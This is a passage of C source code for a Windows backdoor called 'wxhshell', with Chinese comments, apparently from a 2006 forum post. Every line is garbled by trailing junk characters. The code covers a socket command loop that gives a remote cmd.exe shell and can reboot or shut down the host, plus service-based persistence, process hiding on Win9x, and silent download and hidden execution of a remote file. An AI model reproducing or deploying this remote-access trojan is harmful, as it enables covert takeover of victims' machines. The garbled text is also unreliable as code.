      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4$);x/ a  
    break; /!l$Y?  
  } b ?p <y`  
  // 安装 X0\2qD  
  case 'i': { .$r=:k_d  
    if(Install()) )"W(0M] >  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vdn`PS'#  
    else qgT~yDm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EqN<""2  
    break; FUVoKX! #  
    } 9w^lRbn  
  // 卸载 3C,G~)= x  
  case 'r': { u?(@hUV.  
    if(Uninstall()) TY(B]Q_o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \{Q d  
    else Kw`{B3"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0W92Z@_GY  
    break; Rqi= AQ  
    } Vq'\`$_  
  // 显示 wxhshell 所在路径 5r*5Co+  
  case 'p': { KW* 2'C&  
    char svExeFile[MAX_PATH]; {`FkiB` i  
    strcpy(svExeFile,"\n\r"); 0zQ^ 6@  
      strcat(svExeFile,ExeFile); ne]P-50  
        send(wsh,svExeFile,strlen(svExeFile),0); c>_tV3TDA  
    break; k`l={f8C  
    } 9{D u)k  
  // 重启  xJphG  
  case 'b': { k$u\\`i]oC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {:D8@jb[  
    if(Boot(REBOOT)) {XHAQ9'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 ZL91'U  
    else { ~$I9%z7@  
    closesocket(wsh); WrA!'I  
    ExitThread(0); y$ L@!r/s  
    } ~AVn$];{  
    break; MI: rH  
    } /6=IL  
  // 关机 #.<Uy."z2  
  case 'd': { e\0vphS6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iKJ-$x_5  
    if(Boot(SHUTDOWN)) 1JRM@!x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rq>}] U  
    else { }ZQ)]Mr  
    closesocket(wsh); o!]muO*Rm  
    ExitThread(0); QKW\z aG  
    } 5r&bk`  
    break; }Y}f7 3-|  
    } }McqoZ%F  
  // 获取shell iyA=d{S;V  
  case 's': { ~XzT~WxW  
    CmdShell(wsh); ;PS V3Zh  
    closesocket(wsh); v qt#JdPp9  
    ExitThread(0); 'n:|D7t  
    break; Vu0d\l^$  
  } M id v  
  // 退出 yQT cO^E  
  case 'x': { u|ph_?6 o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1zGD~[M  
    CloseIt(wsh); O$qxo &  
    break; &kR*J<)V  
    } 8t1XZ  
  // 离开 S55h}5Y  
  case 'q': { \;!}z3Ww  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J?wCqA  
    closesocket(wsh); TANv)&,|9  
    WSACleanup(); i;flK*HOZ9  
    exit(1); -w dbH`2Z"  
    break; e^LjB/<Th  
        } WE{fu{x  
  } XIGz_g;#'w  
  } {Jna' eS  
~+A(zlYr~  
  // 提示信息 -wh?9 ?W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h SeXxSb:  
} .+07 Ui]I!  
  } -JEiwi,  
xU1_L*tu '  
  return; |rgp(;iO  
} _VUG!?_D$5  
|p .o^  
// shell模块句柄 [!~= m  
int CmdShell(SOCKET sock) !*?|*\B^I  
{ -wsoJh  
STARTUPINFO si; 7C&J88|\  
ZeroMemory(&si,sizeof(si)); o7r7HmA@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %`_Rl>@K=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pjN4)y>0  
PROCESS_INFORMATION ProcessInfo; }T5 E^  
char cmdline[]="cmd"; 1dhuLN%Ce  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e=cb%  
  return 0; 7es<%H  
} 6~!QibA|P  
b8 ^O"oDrp  
// 自身启动模式 }@y(-7t  
int StartFromService(void) {;L,|(o^  
{ Cqs+ o^q  
typedef struct W ZT) LYA  
{ YYN'LF#j  
  DWORD ExitStatus; 57K\sT4[  
  DWORD PebBaseAddress; BXb=N E  
  DWORD AffinityMask; fTOGW`s^  
  DWORD BasePriority; 7D KTd^^M  
  ULONG UniqueProcessId; 68?> #o865  
  ULONG InheritedFromUniqueProcessId; +SB>>  
}   PROCESS_BASIC_INFORMATION; :R-_EY$k6  
Q}: $F{  
PROCNTQSIP NtQueryInformationProcess; ]vflx^<?  
xZ]QT3U+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +n%d,Pz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @DNwzdP  
Y#5v5  
  HANDLE             hProcess; J2Mq1*Vpq  
  PROCESS_BASIC_INFORMATION pbi; Hl#?#A5  
T,oZaJ<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *mJ\Tzc)  
  if(NULL == hInst ) return 0; 64L;np>  
f<{f/lU@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2oF1do;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z[9t?ePL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i'QR-B&Z  
.iC!Ttr  
  if (!NtQueryInformationProcess) return 0; k%TBpG:T  
bZ>dr{%%e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _P` ^B  
  if(!hProcess) return 0; WM;5/;bB  
xHD$0eq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1I awi?73  
cy(4g-b]@e  
  CloseHandle(hProcess); <])]1r8  
|vw],r6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =.qX u+  
if(hProcess==NULL) return 0; -@tj0OHg  
8wrO64_NO  
HMODULE hMod; I 6'!b/  
char procName[255]; p/qu4[Mm  
unsigned long cbNeeded; P6I<M}p  
(!PsK:wc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %g~&$oZmq  
sU+8'&vBp  
  CloseHandle(hProcess); z1^3~U$}  
([dwZ6$/J  
if(strstr(procName,"services")) return 1; // 以服务启动 >V>`}TIH  
:}R,a=N  
  return 0; // 注册表启动 8 (ot<3(D  
} 6M ;lD5(>  
FHSFH>  
// 主模块 t2iQ[`/?~  
int StartWxhshell(LPSTR lpCmdLine) ~"\WV4}`v  
{ lNsdbyV'  
  SOCKET wsl; Qr_0 L  
BOOL val=TRUE; e"%uOuIYX  
  int port=0; oj[~H}>  
  struct sockaddr_in door; kL F~^/  
N^M6*,F,J  
  if(wscfg.ws_autoins) Install(); 1% C EUE  
1cc~UQ  
port=atoi(lpCmdLine); id9XwWV  
Na4O( d`  
if(port<=0) port=wscfg.ws_port; }H<Z`3_U%  
9q+W>wt  
  WSADATA data; n2~WUK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rvU^W+d  
l^^Z}3^Rk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +\*b?x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  .^2.h  
  door.sin_family = AF_INET; ff7#LeB9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $@vB<(sk  
  door.sin_port = htons(port); 052Cf dq  
!C|Z+w9Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3 l}9'j  
closesocket(wsl); F!phTu  
return 1; j sD]v)LB  
} C=(Q0-+L|  
w?zy/+N~  
  if(listen(wsl,2) == INVALID_SOCKET) { p>i8aN  
closesocket(wsl); KLW>O_+   
return 1; 0y t36Du  
} omGzyuPF  
  Wxhshell(wsl); 3AglvGK7{  
  WSACleanup(); #jzF6j%G  
-LT!LBnEkf  
return 0; -L4G)%L\  
HI{h>g T  
} cIQbu#[@  
8AuE:=?,,  
// 以NT服务方式启动 9Zj3"v+b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }& W=  
{ eXD~L&s[  
DWORD   status = 0; 7W*a+^   
  DWORD   specificError = 0xfffffff; .jg@UAK  
3~7!=s\v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .zl[nx[9"D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F:d2;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QVJpX;u  
  serviceStatus.dwWin32ExitCode     = 0; Q"D5D rj  
  serviceStatus.dwServiceSpecificExitCode = 0; tcnO`0moK  
  serviceStatus.dwCheckPoint       = 0; gaxM#  
  serviceStatus.dwWaitHint       = 0; #t;]s<  
xMNQT.A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O9zMD8  
  if (hServiceStatusHandle==0) return; 8V}|(b#  
;N(L,  
status = GetLastError(); 0%< hj  
  if (status!=NO_ERROR) t)Cf]]dV  
{ iqdU?&.;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hJ]Oa7r  
    serviceStatus.dwCheckPoint       = 0; =4'V}p  
    serviceStatus.dwWaitHint       = 0; N*hV/"joZ  
    serviceStatus.dwWin32ExitCode     = status; 7G^Q2w  
    serviceStatus.dwServiceSpecificExitCode = specificError; *r[V[9+y-D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kX+9U"` C  
    return; 0;@>jo6,!  
  } d/jP2uu A  
(_!I2"Q*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n?$c"}  
  serviceStatus.dwCheckPoint       = 0; Ynvf;qs  
  serviceStatus.dwWaitHint       = 0; ]Ml  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .)$MZyo  
} z/+{QBen8  
EPH n"YK  
// 处理NT服务事件,比如:启动、停止 T*SLM"x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 54Rp0o tv  
{ .D ^~!A  
switch(fdwControl) =R' O5J  
{ r180vbN$  
case SERVICE_CONTROL_STOP: hSw=Oq82  
  serviceStatus.dwWin32ExitCode = 0; Pzq^x]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9Q}g Vqn  
  serviceStatus.dwCheckPoint   = 0; j`"!G*Vh  
  serviceStatus.dwWaitHint     = 0; ,mHUo4h1O  
  { %cg| KB"l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .{c7 I!8  
  } 1++g @8  
  return; vG'#5%,|  
case SERVICE_CONTROL_PAUSE: "^6Fh"]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jd-ccnR l  
  break; .MG83Si  
case SERVICE_CONTROL_CONTINUE: KUYwc@si\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -e}(\  
  break; V4NQcy? H  
case SERVICE_CONTROL_INTERROGATE: 5 ,-8oEUL  
  break; ohq Thl  
}; $l"%o9ICG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Li} 5aK  
} hHmm(~5gR  
d,^ZH  
// 标准应用程序主函数 RZV6;=/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Cs[ d:T  
{ .l_Nf9=  
p*,T~(A6  
// 获取操作系统版本 RC[Sa wA  
OsIsNt=GetOsVer(); 3: WEODV2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wpYk`L r  
OqIXFX"  
  // 从命令行安装 eK l; T  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3m!tb)  
7`;f<QNo  
  // 下载执行文件 iLZY6?_^  
if(wscfg.ws_downexe) { 3.?be.cq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?R#$ c]  
  WinExec(wscfg.ws_filenam,SW_HIDE); a{r"$>0  
} L?ht^ H  
~`QoBZ.O&  
if(!OsIsNt) { kMurNA=  
// 如果时win9x,隐藏进程并且设置为注册表启动 O 7 aLW  
HideProc(); ur8+k4] \"  
StartWxhshell(lpCmdLine); )Ln".Bu,  
} ciN\SA ZY  
else 4>0q0}J=5  
  if(StartFromService()) 0=3)`v{S@  
  // 以服务方式启动 j; y~vX b  
  StartServiceCtrlDispatcher(DispatchTable); M yHv>  
else vio>P-2Eho  
  // 普通方式启动 f\dfKNm6  
  StartWxhshell(lpCmdLine); zaHZ5%{LQD  
7$lnCvm  
return 0; s+lBai*#  
}
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只看该作者 1 发表于: 2006-10-10
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